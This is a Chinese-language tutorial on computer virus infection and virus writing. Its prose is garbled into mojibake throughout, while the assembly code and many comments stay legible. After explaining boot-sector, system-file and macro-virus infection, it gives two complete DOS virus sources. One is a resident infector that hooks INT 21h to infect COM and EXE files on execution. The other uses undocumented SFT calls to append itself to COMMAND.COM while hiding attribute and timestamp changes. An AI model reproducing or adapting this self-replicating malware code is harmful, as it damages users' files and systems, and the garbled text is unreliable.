·í¹q·½¶}±Ò¡M¦³¤@¬qµ{¦¡¦ì©óROM¡M¥s°µ POST (Power On Self Test)·|¶}©l°õ¦æ¡C¥¦·|Àˬd°O¾ÐÅé¡M¦UºØ¸Ë¸m¡M¶gÃä¡C§¹¦¨¤§«á¡M¥¦·|·j´M³nºÐ¾÷¤¤¬O§_¦³ºÏ¤ù¡M¦pªG¨S¦³¡M´N¹Á¸Õ¥ÎµwºÐ¨Ó±Ò°Ê¡C¦pªG³£µLªk¹B§@¡M¥¦´N°õ¦æ¦bROM¸ÌªºBASIC¤¤Â_¡C­º¥ýŪ¶iRAMªº¬OµwºÐ©Î³nºÐ¤¤ªº¶}¾÷µ{§Ç¡C¦]¬°ROM¬O¥u¨ÑŪ¨úªº¡M©Ò¥H¨ì¥Ø«e¬°¤î§Ú­Ì³£ÁÙ¨S¦³Åý¯f¬r¦³¾÷¥i¶X¡C
B. ¥ÑµwºÐ¶}¾÷
¥ÑµwºÐ±Ò°Êªº®É­Ô¡M¥²¶·¾ÌÂǨâ­Ó¦a¤è©Ò¦s©ñªºµ{¦¡½X¡M¤@¬O¥D­n±Ò°Ê¸ê®Æ°Ï(master boot record) (!)¡M¤G¬O¨t²Î±Ò°Ê¸ê®Æ°Ï(system boot record) (!)¡C¥D­n±Ò°Ê¸ê®Æ°Ï°O¿ý¦³¤@¨Çµ{¦¡©M¸ê®Æ¡M¥Ñ³o¨Çµ{¦¡¥H¤Î¸ê®Æ·|«ü©w­n°õ¦æ­þ¤@­Ó¨t²Î±Ò°Ê¸ê®Æ°Ï¡C³q±`¥D­n±Ò°Ê¸ê®Æ°Ï¥u¦³¤@­Ó¡M¦Ó¨t²Î±Ò°Ê¸ê®Æ°Ï¥i¯à·|¦³«Ü¦h­Ó¡M¨C¤@­Ó¨Ñ¤@­Ó¤À³Î°Ï¨Ï¥Î¡C
µwºÐªº±Ò°Ê°ÏÁöµM¨Ì¦UµwºÐ¦³©Ò®t²§¡M¦ý³q±`·|«O¯d¤@¾ã­ÓºÏ­y¥H¤WªºªÅ¶¡µ¹¥¦¡M¦Ó³o¨ÇªÅ¶¡¤j³¡¤À³£¤£·|³Q¨Ï¥Î¨ì¡M©ó¬Oµ¹¤F¯f¬r¤@­Ó«Ü¦nªº´Ï¨­¤§©Ò¡C
C. ¥Ñ³nºÐ¶}¾÷
µwºÐªº±Ò°ÊºÏ°Ï©T©w¦b²Ä0­±¡M²Ä0ºÏ­y¡M²Ä1­ÓºÏ°Ï¡C¥¦©Ò°O¿ýªºµ{¦¡½X«Üµu¡M¨ä¤¤¥¦°µªº²Ä¤@¥ó¨Æ´N¬O§i¶D¾÷¾¹¨ì­þ­ÓºÏ°Ï¥h§ä¨ä¥Lªº±Ò°Ê¸ê®Æ¡C¯f¬r«h¥i¥H¸ú¦b¬Y¨ÇºÏ°Ï¤¤¡M¨Ã¥B§â¨º¨ÇºÏ°Ï¼Ð¥Ü¦¨·lÃaªººÏ°Ï(!)¡C³o¼Ë´N¥i¥H«O»Ù¥¦ªºµ{¦¡½X¤£·|³Q»\±¼¡C
D. PC-DOS§@·~¨t²Î
±Ò°Ê¸ê®Æ°Ïªº¥D­n¤u§@´N¬O¸ü¤J§@·~¨t²Î¡C¥¦¥²¶·Åª¨ú IO.SYS¡MMSDOS.SYS¡M¥H¤Î COMMAND.COM¡C¦]¬°³o¨ÇÀɮצ³§@·~¨t²Î©Ò»Ýªº¸ê®Æ¡C§@·~¨t²Î§¹¦¨¤§«á¡M§Ú­Ì´N¥i¥H¶}©lŪ¼gÀÉ®×(!)¡M¨Ï¥Î°O¾ÐÅé(!)¡M©Î¬O¨Ï¥Î¨ä¥Lªº¨t²Î¸ê·½(!)¡C©ó¬O¯f¬r´N¦³¥i¯à§ï¼gCOMMAND.COM©Î¬O¥´Â_¨Ï¥ÎªÌ¹ï¨t²Î¸ê·½ªº­n¨D¡C¥¦§â¦Û¤v©ñ¦b¤@­Ó±`¥Îªºµ{¦¡¸Ì¡M©Ò¥H¼W¥[¤F·P¬Vªº¾÷·|¡M¥t¥~¤]¥i¥H¤¤Â_¨Ï¥ÎªÌ¹ï¨t²Î¸ê·½ªº¯Á¨ú¡M¬Æ©Î§ïÅÜ­ì¥ý¨Ï¥ÎªÌ­n°µªº¨Æ¡C
E. °õ¦æµ{¦¡
·í¨Ï¥ÎªÌ°õ¦æµ{¦¡ªº®É­Ô¡M¦³­þ¨Çµ{¦¡½X(!)³Q¥Î¨ì¤F©O¡H¥H¤UÁ|´X­Ó±`¥Îªº¨Ò¤l¡J
¨C·í¨Ï¥ÎªÌ­n°õ¦æ¤@­Óµ{¦¡®É¡M³£·|¥Î¨ì³o¨Çµ{¦¡½X©Î¨ä¥L¦³¥i¯à·P¬Vªºµ{¦¡½X¡C
F. CONFIG ©M AUTOEXEC
¨C·í±Ò°Ê¨t²Îªº®É­Ô¡MCONFIG.SYS(!) ©M AUTOEXEC.BAT(!)·|§i¶D¨t²Î¥ý¥hŪ¨ú¬Y¨ÇÀɮסC¦pªG¯f¬r­n«I¤J¨ä¤¤¤@­ÓÀÉ¡Mªþ¥[¨ì¨ä¤¤¤@­ÓÀɸ̡M¨º»ò¥¦±N·|¨C¤Ñ³Q°õ¦æ¡C³o¤]¬O¯f¬r¬¡ÅDªº¦n¾÷·|¡C
G. ½sĶµ{¦¡½X¡M¨Ï¥Î¨ç¦¡®w
­n½sĶµ{¦¡½Xªº®É­Ô¡M§Ú­Ì·|¥Î¨ì«Ü¦hµ{¦¡¡M¨ä¤¤¤@­Ó¬O½sĶ¾¹ªº¥»¨­(!)¡C¦pªG½sĶ¾¹µ{¦¡·P¬V¤F¯f¬r¡M«Ü¦³¥i¯à·|´²¼½¨ì¨ä¥LªºÀÉ¡M¥]¬A¥¦©Ò½sĶ¥Xªºµ{¦¡¡C·í¤@­Óµ{¦¡³Q½sĶ®É¡M¥²¶·¸g¹L link¡M«Ü¦³¥i¯à·| link ¤@­Ó¨ç¦¡®w(!)¸Ìªºµ{¦¡¡M¦pªG¸Óµ{¦¡¥H·P¬V¤F¡M«h§Ú­Ì½sĶ¥X¨Óªºµ{¦¡¤]´N·|³Q¯f¬r·P¬V¤F¡C
H. ¨Ï¥Î¥¨¶°¤å¥ó
³B²z¤å¥óªº³nÅé¥\¯à¤éº¥±j¤j¡M¦ý¬O¤]¦]¬°¨Ï¥Î¤F¥¨¶°¤å¥ó(!)¦Ó¼W²K¤F¥¨¶°¯f¬rªº°ÝÃD¡C¤@¯ë¥¨¶°¯f¬r(Macro Virus)±`¨£¦æ¬°¼Ò¦¡¦³¨âºØ¡J
¤@¯ë¤å¥ó®æ¦¡¨Ã¤£·|§t¦³¥ô¦ó¤@­Ó¥¨¶°«ü¥O¡M©Ò¥H¥¨¶°¯f¬r¶i¦æ·P¬Vªº­º­n°Ê§@¡M´N¬O±N¤@¯ëªº¤å¥ó®æ¦¡(doc)§ï¬°¼Ëª©®æ¦¡(dot)¡CÁa¨Ï¦p¦¹¡MÁo©úªº¥¨¶°¯f¬r¬°¤F¤£Åý¨Ï¥ÎªÌ»´©öªºµo²{Àɮפw¸g¤¤¬r¡M¦]¦¹¡M¥¦¨Ã¤£·|±N­ì¥»ªº°ÆÀɦW(.doc)§ï±¼¡C ©Ò¥H¤¤¬rÀɮפ´³Q¥H¬°¬O.docªº°ÆÀɦW¡C
·í¤å¥ó®æ¦¡³Q§ïÅÜ«á¡M¥¨¶°¯f¬r´N¶}©l¶i¦æ·P¬V¡C¥¨¶°¯f¬r·P¬Vªº°Ê§@¬O³z¹L°õ¦æMacrocopyªº«ü¥O¨Ó§¹¦¨¡CMacrocopy·|±N¯f¬r¥¨¶°½Æ»s¤@¥÷¨ì³Q¶}±ÒªºÀɮשηs«Ø¥ßªºÀɮפ¤¡M¥H«K¤U¤@¦¸³o¨Ç±H¥DÀɮ׳Q¶}±Ò®É¡M¥i¦A«×´²¼½¥¨¶°¯f¬rªººØ¤l¡C
¦b¥¨¶°¯f¬r¾ã­Ó·P¬V¹Lµ{¤¤¡Mnormal.dot §êºt¤F«D±`­«­nªº¨¤¦â¡C·í¨Ï¥ÎªÌ¶}±Ò¤@¥÷¤¤¬rªº¤å¥ó®É¡M¥¨¶°¯f¬r´N·|ÂǾ÷·P¬V normal.dot¡C¤§«á¡M¨C·í¨Ï¥ÎªÌ¶}±ÒWord½s¿è·s¤å¥ó®É¡M¥¨¶°¯f¬r«K·|±Nnormal.dot¤Wªº¯f¬r¥¨¶°½Æ»s¨ì·s¤å¥ó¤¤¡C¥i·Q¦Óª¾ªº¬O¡M³o­Ó·s¤å¥ó¦b¦sÀɮɡM¤w¸g¬O¤@­Ó¤£§é¤£¦©ªº¼Ëª©¤å¥ó¡M¸Ó¤å¥óªºªþÀɦW´N¬O.dot¡M°£«D¨Ï¥ÎªÌ¦b¦sÀɮɡM¦Û¦æ¥[¤Jªþ¦W.doc¡M ­n¤£µM¬O¨S¦³¨Ò¥~±¡§Îªº¡C
3.2 ¯f¬rµ{¦¡ªº¼g§@
¤F¸Ñ¤F¯f¬r¦p¦ó·P¬V¤§«á¡M§Ú­Ì¦A¨Ó¬Ý¬Ý¤@­Ó¯f¬rµ{¦¡¨s³º¬O«ç»ò§¹¦¨ªº¡C¦b³o¤§«e¡M­º¥ý±j½Õ¡M¥»¤å¥HÀɮ׫¬¯f¬rªº¼g§@¬°¨Ò¡C¬JµM¬OÀɮ׫¬¯f¬r¡M¥¦­n·P¬Vªº¥D­n¬O.COM©M.EXEÀÉ¡M©Ò¥H­º¥ý¥²¶·¤F¸Ñ³o¨âºØÀɮתºµ{¦¡«e¸m°Ï(PSP)¡M°O¸ü¤F­þ¨Ç¦³ÃöÀɮתº¸ê°T¡C
COMÀɪºPSP(¶È¨Ñ°Ñ¦Ò)¡J

0000Hdw OCD20H INT 20H
0002Hdw ¡H ¥i¥Î°O¾ÐÅé³Ì¤j¸`¦ì§}
0004Hdb ¡H
0005Hdb 5 dup(?) ¥Î©ó§¹¦¨DOS INT 21Hªº¥\¯à©I¥s¡M¦¹®ÉCL = AH (OOH - 23H)
000AHdd ¡H ­ì INT 22H ¤¤Â_ªº¶i¤J¦ì§}
000EHdd ¡H ­ì INT 23H ¤¤Â_ªº¶i¤J¦ì§}
0012Hdd ¡H ­ì INT 24H ¤¤Â_ªº¶i¤J¦ì§}
0016Hdw ¡H ¤÷µ{¦¡ PSP ¦ì§}
0018Hdb 20 dup(?) ÀÉ®×ÀY»Îªí (FHF)¡M¨M©w¸Ó¦æµ{¥i¥H¦P®É¶}20­ÓÀÉ®×
002CHdw ¡H Àô¹ÒÅܼưϪº¸`¦ì§}
002EHdd ¡H °ïÅ|«ü¼Ð¬ö¿ý°Ï
0032Hdw ¡H ÀÉ®×ÀY»Îªíªº¤j¤p¡M¹w³]­È¬°20
0034H dd ¡H ÀÉ®×ÀY»Îªíªº°_©l¦ì§}¡M¹w³]¬°DS¡J0018H
0038Hdd ¡H
003CHdb ¡H
003DHdw ¡H
003FHdb ¡H
0040Hdw ¡H ©Ò¹ïÀ³ªºDOSª©¥»
0042Hdw 14 dup(?)
0050Hdb 3 dup(?) INT 21H retf
0053Hdw ¡H
0055Hdb 7 dup(?) FCB±±¨î¶ôªºÂX¥R³¡¤À
005CHdb 16 dup(?) ²Ä¤@­ÓFCBªº±±¨î¶ô
006CHdb 16 dup(?) ²Ä¤G­ÓFCBªº±±¨î¶ô
007CHdd ?
0080Hdb 80h dup(?) ºÏºÐ¸ê®Æ¶Ç°e°Ï(DTA)

EXEÀɪºPSP(¶È¨Ñ°Ñ¦Ò)¡J

0000Hdw ?'MZ'ªí¥Ü¬OEXEÀÉ¡M¦pªG¨S¦³DOS´N»{¬°¬OCOMÀÉ
0002Hdw ?EXEÀɮתø«×°£¥H512ªº¾l¼Æ
0004Hdw ?EXEÀɮתø«×°£¥H512ªº°Ó¼Æ
0006Hdw ?
­«©w¦ìªíªº¼Æ¥Ø\cell 0008Hdw ? ÀÉÀYªºpara¼Æ
000AHdw ?µ{¦¡©Ò»Ý³Ì¤Ö°O¾ÐÅé
000CHdw ?µ{¦¡©Ò»Ý³Ì¦h°O¾ÐÅé
000EHdw ?ªì©l¤ÆSS­È¡M(¬Û¹ï©ó°_©l¸`¦ì§})
0010Hdw ?SP
0012Hdw ?Checksum
0014Hdw ?IP
0016Hdw ?ªì©l¤ÆCS­È¡M(¬Û¹ï©ó°_©l¸`¦ì§})
0018Hdw ?­«©w¦ìªí°_©l­È¡M(¬Û¹ï©óÀÉÀY)

·íCOMÀɳQ¸ü¤Jªº®É­Ô¡MDS¡BES³£·|«ü¦VPSP¡M¦Ó PSPªº¤j¤p¬O100H bytes¡M©Ò¥H IP·|«ü¦V 0100H¡C·í¯f¬r­nªþ¥[¨ìÀɮ׸̡M·|§â¥¦¦Û¤v¥[¦bÀɧÀ¡M¨Ã¥B¦bÀɮ׶}©lªº¦a¤è©ñ¤@¹D«ü¥O JMP xxxxH«ü¦V¯f¬r¡M¦Ó¯f¬r§ÀºÝ¦AJMP¦^­ì¥»ªºµ{¦¡¥h°õ¦æ´N¥i¥H¤F¡C¦p¹Ï©Ò¥Ü¡J
¦p¦¹¤@¨Ó¡M¤¤¬rªºÀÉ®×´N·|¥ý¥h°õ¦æ¯f¬r¡M¦A§âÀɮ׶}ÀYªºJMP vir_ §ï¦^­ì¨Óªºµ{¦¡½X¡M±µµÛ´N¸õ¦^­ìµ{¦¡¥h°õ¦æ¤F¡C¤]¦³ªº¯f¬r¬O§â¯f¬r¥»Åé©ñ¦bÀɮתº¤@¶}ÀY¡M¦P¼Ë¤]¬O¥ý°õ¦æ¯f¬r¦A°õ¦æ­ì¨Óªºµ{¦¡¡C
COMÀɪº¯ÊÂI¬OÀɮתø«×¤£¯à¶W¹L64K¡M¦Óµ{¦¡°õ¦æªº¶i¤JÂI©T©w¦bCS¡J0100Hªº¦ì¸m¡M¦ÓEXEÀÉ´N¨S¦³³o¨Ç­­¨î¡Mµ{¦¡½X¡B¸ê®Æ»P°ïÅ|¥i¥H§Q¥Î¤£¦Pªº°O¾ÐÅé¸`°Ï¡C¯f¬r·P¬VEXEÀɪº¤èªk´N¬O¡M±N¯f¬r¥[¦bÀɧÀ¡MµM«á±NÀÉÀYªºCS¡JIP»PSS¡JSP«ü¦V¯f¬rªºµ{¦¡¶}ÀY»P°ïÅ|¡C°õ¦æ§¹¯f¬r¡M¦A±NCS¡JIP»PSS¡JSP«ì´_¡M³Ì«á¦A°õ¦æ­ìµ{¦¡¡C
±µµÛ§Ú­Ì´N¨Ó¬Ý¬Ý¤@­Ó¯f¬r½Xªº¨Ò¤l¡J
vir_size equ    offset vir_end-offset start
mem_size equ    offset mem_end-offset start
vir_addr equ    580h
vir_mark equ    0e9h
.286
.model  tiny
.code
        org     0
start:
        push    es
        mov     di,vir_addr+2
        xor     ax,ax
        mov     es,ax                   ; 0:vir_addr ¬° cute Âè­¤§³B
        call    delta
delta:
        pop     si                      ; ¨ú±o¦Û¨­ªº°¾²¾
        sub     si,offset delta-2
        push    cs
        pop     ds
        std
        cmpsw                           ; ¤ñ¸û 0:vir_addr ¤§³B¬O§_¤w¸g¦³±`¾n
        cld
        mov     cx,mem_size
        rep     movsb                   ; ±N cute ·h²¾¨ì 0:vir_addr
        je      run_host                ; ¦pªG 0:vir_addr ¦­´N¦³ copy ¤@¥÷ cute
                                        ; «h jmp¡A§_«h­×§ï¤¤Â_
        mov     bx,vir_addr/10h         ; bx=±`¾n®Éªº segment
        mov     al,offset int21         ; ax=«ü¦V cute ªº int 21h
        xchg    ax,es:[bx+21h*4-vir_addr/10h]   ; §ï¤¤Â_°¾²¾ ip
        stosw                                   ; «O¦s­ì¤¤Â_
        xchg    bx,es:[bx+21h*4-vir_addr/10h+2] ; §ï¤¤Â_°Ï¬q cs
        xchg    bx,ax
        stosw                           ; «O¦s­ì¤¤Â_
run_host:
        pop     es                      ; «ì´_ es (=psp)
        lodsw                           ; si=si+2
        lodsw                           ; si=si+2
        cmp     sp,0fffch
        jb      exe_host                ; sp<0fffch? ¦pªG¬O«h jmp (ªí¥Ü­ì¨Ó³Q
                                        ; ·P¬VªºÀɮ׬° exe¡A§_«h¬° com)
com_host:
        mov     di,100h
        push    di
        movsw                           ; «ì´_­ìÀɮ׫e 4 bytes
        movsw                           ;
        ret                             ; return ¦Ü³Q§Ú­Ì·P¬Vªº com file
exe_host:
        lodsw                           ; ¨ú­ì exe ÀÉÀYªº cs ¼W¶q,
        xchg    di,ax                   ;   ©ñ¨ì di
        mov     bx,es                   ; bx=es=psp segment
        lea     ax,[bx+di+10h]          ; ax=­ìÀÉÀYªº cs ¼W¶q+psp segment+10h
        push    ax
        lodsw                           ; ¨ú­ì exe ÀÉÀYªº ip ­È
        push    ax
        mov     ds,bx                   ; ds=bx=psp segment
        retf                            ; far return ¦Ü³Q§Ú­Ì·P¬Vªº exe file

int21:
        cmp     ax,4b00h                ; 4b00 (°õ¦æÀÉ®×)?
        jne     i21_exit                ;   ¤£¬O«h jmp (¤£·P¬V)
        pusha
        push    ds es
        mov     ax,3d02h
        int     21h                     ; ¥HŪ/¼g¼Ò¦¡¶}ÀÉ
        xchg    bx,ax                   ; bx=file handle
        push    cs cs
        pop     ds es                   ; ds=es=cs
        mov     ah,3fh
        mov     cx,18h
        mov     dx,offset vir_end
        int     21h                     ; Ū¨úÀɮ׶}ÀY 18h bytes ¦Ü vir_end
        mov     si,dx
        mov     di,offset host_4_bytes
        mov     ax,4202h
        xor     cx,cx
        cwd
        int     21h                     ; ±NŪ/¼g«ü¼Ð²¾¦ÜÀɧÀ (¨ú±oÀɮתø«×)
                                        ;   dx:ax=Àɮתø«×
        mov     cl,vir_mark
        cmp     byte ptr ds:[si],'M'    ; exe file?
        je      infect_exe              ;   ¦pªG¬O«h jmp to infect_exe
infect_com:
        movsw                           ; «O¦s­ì com ÀÉ«e­± 4 bytes
        movsw                           ;   ¦Ü host_4_bytes
        xchg    cx,ax                   ; cl=vir mark=0e9h¡A¦P®É¥ç¬O jmp code
                                        ; ax=Àɪø¡Axchg ¦Ü cx
        stosb
        xchg    cx,ax                   ; xchg ¨ú¦^Àɮתø«×
        sub     ax,3                    ; ºâ¥X jmp ©Ò»Ýªº°¾²¾­È
        stosw
        jmp     infect_common
infect_exe:
        cmp     word ptr ds:[di+4+2],200h-vir_size      ; offset 2=exe mod
        cmc                             ; ¦pªG exe mod<200h-vir_size¡A«h cmc
                                        ;   ¤§«á¡Acf=0¡A§_«h cf=1
        adc     word ptr ds:[di+4+4],0  ; exe sector=exe sector+cf
        mov     si,10h
        div     si                      ; dx:ax/10h -> dx=¾l¼Æ (·P¬V«áªº ip ­È)
                                        ;              ax=°Ó¼Æ (Àɪø/10h ªº°Ó)
        sub     ax,ds:[di+4+8]          ; offset 8=ÀÉÀYªºªø«× (¥H para ¬°³æ¦ì),
                                        ;   ax=ax-ÀÉÀYªºªø«×=·P¬V«áªº cs ¼W¶q
        xchg    dx,ds:[di+4+14h]        ; offset 14h=exe ip
        xchg    ax,ds:[di+4+16h]        ; offset 16h=distance of exe cs
        stosw                           ; «O¦s­ì exe cs ¼W¶q
        xchg    dx,ax
        stosw                           ; «O¦s­ì exe ip
        add     di,12h                  ; offset 12h=check sum (¬d®Ö¦r¤¸)
                                        ;   ¦¹³B¦s©ñ mark (0e9h)
infect_common:
        cmp     ds:[di],cl              ; ¤ñ¸û¬O§_¦³ mark
        je      close                   ;   ¦p¹L¬O«h jmp to close¡AÃöÀɤ£¦A·P¬V
        mov     ds:[di],cl              ; ³] mark
        mov     ah,40h
        mov     cl,vir_size
        cwd
        int     21h                     ; ±N cute ¼g¦ÜÀɧÀ
        mov     ax,4200h
        xor     cx,cx
        int     21h                     ; ²¾Åª¼g«ü¼Ð¦ÜÀÉÀY
        mov     ah,40h
        mov     cl,18h
        mov     dl,offset vir_end
        int     21h                     ; ¼g¤J (­×§ï) ÀÉÀY
close:
        mov     ah,3eh
        int     21h                     ; ÃöÀÉ
        pop     es ds
        popa
i21_exit:
        db      0eah            ; jmp far segment:offset ¦Ü­ì int 21h ¤¤Â_
mem_end:
old21   dw      ?,?

host_4_bytes db 0cdh,20h,0,0
vir_end:
        end     start


²{¦b§Ú­Ì¦A¨Ó¤¶²Ð¥t¤@ºØ¤è«K¼g¯f¬rªº¤u¨ã¡M´N¬O§Q¥ÎDOSªº¨t²ÎÀɮתí(SFT)¡M¦p¥H¤U©Ò¦C¡J

°¾²¾
¤j¤p(byte)
°O¸ü¸ê®Æ
00h
2
°Ñ¦Ò¦Ü¦¹Àɪºhandle¼Æ
02h
2
¶}ÀɼҦ¡(¦pªG¬O§Q¥ÎFCB¨Ó¶}ÀÉ¡M«h bit15=1 )
04h
1
ÀÉ®×ÄÝ©Ê
05h
2
¸Ë¸m¸ê°T( bit15 = 1ªí¥Ü¦¹Àɦb»·¤è¡Mbit14=1ªíÃöÀɮɤ£­n³]Àɮפé´Á®É¶¡¡Mbit6=1Àɮש|¥¼³Q¼g¤J)
07h
4
¦pªG¬O¦r¤¸¸Ë¸m¡M«ü¦V¸Ë¸mÅX°Êµ{¦¡¡Q§_«h¬°«ü¦VDOSºÏºÐ°Ñ¼Æ°Ï¶ô(DPB)ªº«ü¼Ð¡C
0Bh
2
ÀÉ®×°_©lªººÏÂO(cluster)
0Dh
2
Àɮ׮ɶ¡
0Fh
2
Àɮפé´Á
11h
4
Àɮפj¤p
15h
4
ÀÉ®×Ū¼g«ü¼Ð
19h
2
³Ì«á¤@¦¸¦s¨úªºcluster¤§¬Û¹ïcluster½s¸¹
1Bh
4
Àɮץؿý¶i¤JÂIªººÏ°Ï½s¸¹
1Fh
1
¤@­ÓºÏ°Ï¤¤¥i®e¯Ç¥Ø¿ý¼Æ¥Ø
20h
11
FCB®æ¦¡ªºÀɦW(µL¸ô®|¡MµL'.'¡M¨ä¾l¥Ñspace¸É¨¬
2Bh
4
«ü¦V«e¤@­ÓSFT¦@¥Î¬Û¦PÀɮתº«ü¼Ð
2Fh
2
¶}±ÒÀɮתººô¸ô¾÷¾¹½s¸¹
31h
2
«ü¦VÀÉ®×¾Ö¦³ªÌªºPSP°Ï¬q
33h
2
¦bSHAREµ{¦¡¬q¤¤¦@¥Î¥Ø¿ýªº°¾²¾­È
35h
2
³Ì«á¤@¦¸¦s¨úªºclusterªºµ´¹ïcluster½s¸¹
37h
4
«ü¦VIFSÅX°Êµ{¦¡ªº«ü¼Ð

¥t¥~¡M§Ú­ÌÁٻݭn©I¥s¨â­Ó¤¤Â_¡M³o¬ODOS¥¼¤½¶}ªº¥\¯à¡J
                AX = 1220h
                BX = file handle
        ¶Ç¦^:   CF = 1,¿ù»~     AL = 6
                CF = 0,¦¨¥\   ES:DI«ü¦V¥Ø«eµ{§Ç¤¤,ÀÉ®×¥N½Xªº¤u§@Àɮתí®æ

                AX = 1216h
                BX = ¤u§@Àɮתí®æªº½s¸¹
        ¶Ç¦^:   CF = 1,¿ù»~
                CF = 0,¦¨¥\     ES:DI«ü¦VSFT
²{¦b§Ú­Ì¦b¨Ó¬Ý¬Ý§Q¥ÎSFT¨Ó¼g¯f¬rªº¨Ò¤l¡J
DEMO_2        SEGMENT
                ASSUME  CS:DEMO_2,DS:DEMO_2
                ORG     100h
START:
                NOP     ; 
                NOP     ;  «O¯d 3 BYTES ªºªÅ¶¡
                NOP     ; 
VIR_START:           ; ¦¹³B¤~¬O¯u¥¿¯f¬rµ{¦¡ªº¶}ºÝ
                CALL    LOCATE                  ; ¥i¥H·Q¦¨ PUSH IP
LOCATE:                                         
                POP     SI                      
                SUB     SI,OFFSET LOCATE        ; ´î±¼¦h¾lªº­È¡A¦¹®É SI=°¾²¾­È

; ¥Ñ©ó¦¹¬r¬O±µ¦bÀɮ׫᭱¡A¦Ó³Q·P¬VªºÀɮפj¤p¤£¤@¡A©Ò¥H¯f¬r±µ¦bÀɮ׫᪺°¾²¾
; ¤]·|¤£¤@©w¡A¦Ó·|³y¦¨ÅܼƵLªk©w¦ì¡A©Ò¥H§Ú­Ì­n±oª¾°¾²¾¤F¦h¤Ö
; ¤U­±µ{¦¡¥u­n²o¯A¨ì©M°O¾ÐÅé©w§}¦³Ãöªº³¡¥÷¡A³£·|¥[¤W [SI] °¾²¾­È

                MOV     AX,WORD PTR DS:FIRST_3_BYTE[SI] ; «ì´_°O¾ÐÅ餤¡A­ì
                MOV     DS:[100h],AX                    ;   Àɮ׶}ÀY¡A³Q¯f¬r
                MOV     AL,DS:FIRST_3_BYTE[SI+2]        ;   §ï¹Lªº 3 BYTES
                MOV     DS:[100h+2],AL                  ; 

; ¦]¬°¦¹¬r²Ä¤@¦¸°õ¦æ®É¡A¤§«e¨Ã¨S¦³·P¬V¹LÀɮסA¦Ó­n«ì´_¦¹ 3 BYTES ®É·|»\¨ì
; ¯f¬r¥»¨­¡A©Ò¥H¤@¶}©l§Ú­Ì¥[¤F 3 ­Ó NOP ¨ÓªÅ¥X¦¹ªÅ¶¡¡AVIR_START ¤~¬O¯u¥¿
; ªº¯f¬r½X¶}©l³B

                MOV     AX,3D00h                ; open file for read only
                LEA     DX,FILE_NAME[SI]        ; DS:DX «ü¦V­n¶}ªºÀɦW
                INT     21h                     ; ©I¥s¤¤Â_

; ¶}Àɦ¨¥\«á¡A¶Ç¦^ AX=ÀÉ®×¥N½X (FILE HANDLE)

                MOV     BX,AX   ; BX = AX = FILE HANDLE
                PUSH    BX                      ; save BX
                MOV     AX,1220h
                INT     2Fh                     ; get JFT
                MOV     AX,1216h
                XOR     BH,BH
                MOV     BL,ES:[DI]              ; BL=JFT
                INT     2Fh                     ; get SFT
                POP     BX                      ; restore BX
                MOV     WORD PTR ES:[DI+2],2    ; file mode = 2 (read/write)
                MOV     AL,ES:[DI+4]            ; AL=file attribute
                PUSH    AX                      ; save AX
                MOV     BYTE PTR ES:[DI+4],0    ; set file attribute to zero
                MOV     AH,3Fh                  ; ŪÀÉ®×\line                 MOV     CX,3                    ; Ū¨ú 3 BYTES
                LEA     DX,FIRST_3_BYTE[SI]     ; DS:DX «ü¦V©ñ¸ê®Æªº¦ì§}
                INT     21h                     ; ©I¥s¤¤Â_

; ³o­Ó°Ê§@¬OŪ¨úÀɮ׶}ÀYªº 3 BYTES ¨ì FIRST_3_BYTE¡A«O¦s°_¨Ó

                MOV     AX,ES:[DI+11h]  ; AX=file length
                MOV     ES:[DI+15h],AX  ; set access point to file end
                                        ; ¦]¬°¬O .com ÀÉ¡A¤p©ó 64K¡A
                                        ; ©Ò¥H¥u³B¸Ì§C¦r²Õ´N¥i¥H¤F

; ³o­Ó°Ê§@¬O§âÀÉ®×Ū¼g«ü¼Ð²¾¨ìÀɧÀ¡A¦Ó¥Ñ DX:AX (DX = HIGH¡ACX = LOW) ¶Ç¦^
; ²¾°Ê«áªº«ü¼Ð¹ï©óÀÉÀYªº¶ZÂ÷¡A©Ò¥H¦¹®É DX = 0 (COM Àɤp©ó 64K)¡AAX = ÀÉ®×
; ªø«×

                SUB     AX,3                            ; ­pºâ¥X JMP ªº°¾²¾­È
                MOV     WORD PTR DS:JMP_BYTE[SI+1],AX   ; «O¦s°¾²¾­È

; ³o­Ó°Ê§@¬O­pºâ­n±qÀÉÀY JMP ¦ÜÀɧÀ (¯f¬r½X¶}ºÝ) ©Ò»Ýªº°¾²¾

                MOV     AH,40h                  ; ¼gÀÉ®×
                MOV     CX,VIR_SIZE             ; CX = ¯f¬rªø«×
                LEA     DX,VIR_START[SI]        ; DS:DX «ü¦V¯f¬rµ{¦¡¶}ºÝ
                INT     21h                     ; ©I¥s¤¤Â_

; ³o­Ó°Ê§@¬O§â¯f¬r¥»Åé¼g¤JÀɮסA¥Ñ©ó¤W­Ó°Ê§@¤w¸g§âÀɮ׫ü¼Ð²¾¨ìÀɧÀ¡A©Ò¥H
; ³o¦¸ªº¼g¤J¬O±qÀɧÀ¶}©l¡A¤]´N¬O»¡§â¯f¬rÅé¦ê±µ¦bÀɧÀ

                MOV     WORD PTR ES:[DI+15h],0

; ³o­Ó°Ê§@¬O§âÀÉ®×Ū¼g«ü¼Ð²¾¨ìÀÉÀY¡A¥H«K­×§ïÀÉÀY«e 3 BYTES

                MOV     AH,40h          ; ¼gÀÉ®×
                MOV     CX,3            ; ¼g¤J 3 BYTES
                LEA     DX,JMP_BYTE[SI] ; DS:DX «ü¦V JMP ªºµ{¦¡½X
                INT     21h             ; ©I¥s¤¤Â_

; ³o­Ó°Ê§@¬O§â§Ú­Ì­ì¥ý©Ò°Oºâªº JMP ½X¼g¨ìÀÉÀY«e 3 BYTES¡A¦p¦¹¤@¨Óµ{¦¡¤@°õ
; ¦æ´N·|¸õ¦Ü¯f¬rµ{¦¡¶}ºÝ

                POP     AX              ; AX=file attribute
                MOV     ES:[DI+4],AL    ; restore file attribute
                OR      WORD PTR ES:[DI+5],0100000000000000b
                                        ; ÃöÀɮɤ£­n§ïÅܮɶ¡©M¤é´Á
                MOV     AH,3Eh  ; ÃöÀÉ®×
                INT     21h     ; ©I¥s¤¤Â_
                PUSH    CS
                POP     ES      ; ¦]¬°¨úSFT ¦Ó§ïÅܤF es
                MOV     AX,100h ; AX = 100h (COM Àɤ@¶}©l°õ¦æªº¦ì§})
                PUSH    AX      ; PUSH µ¹¤U­Ó RET «ü¥Oªº­È
                RET             ; RET ¨ì 100h

; ¦]¬°¯f¬r¸Ó°µªº¬O³£°µ§¹¤F¡A©Ò¥Hªð¦^ 100h ¥h°õ¦æ­ìÀÉ®×

FILE_NAME       DB      'C:\COMMAND.COM',0
FIRST_3_BYTE    DB      0CDh,20h,?      ; DB 0CDh,20h = INT 20h (µ{¦¡µ²§ô)
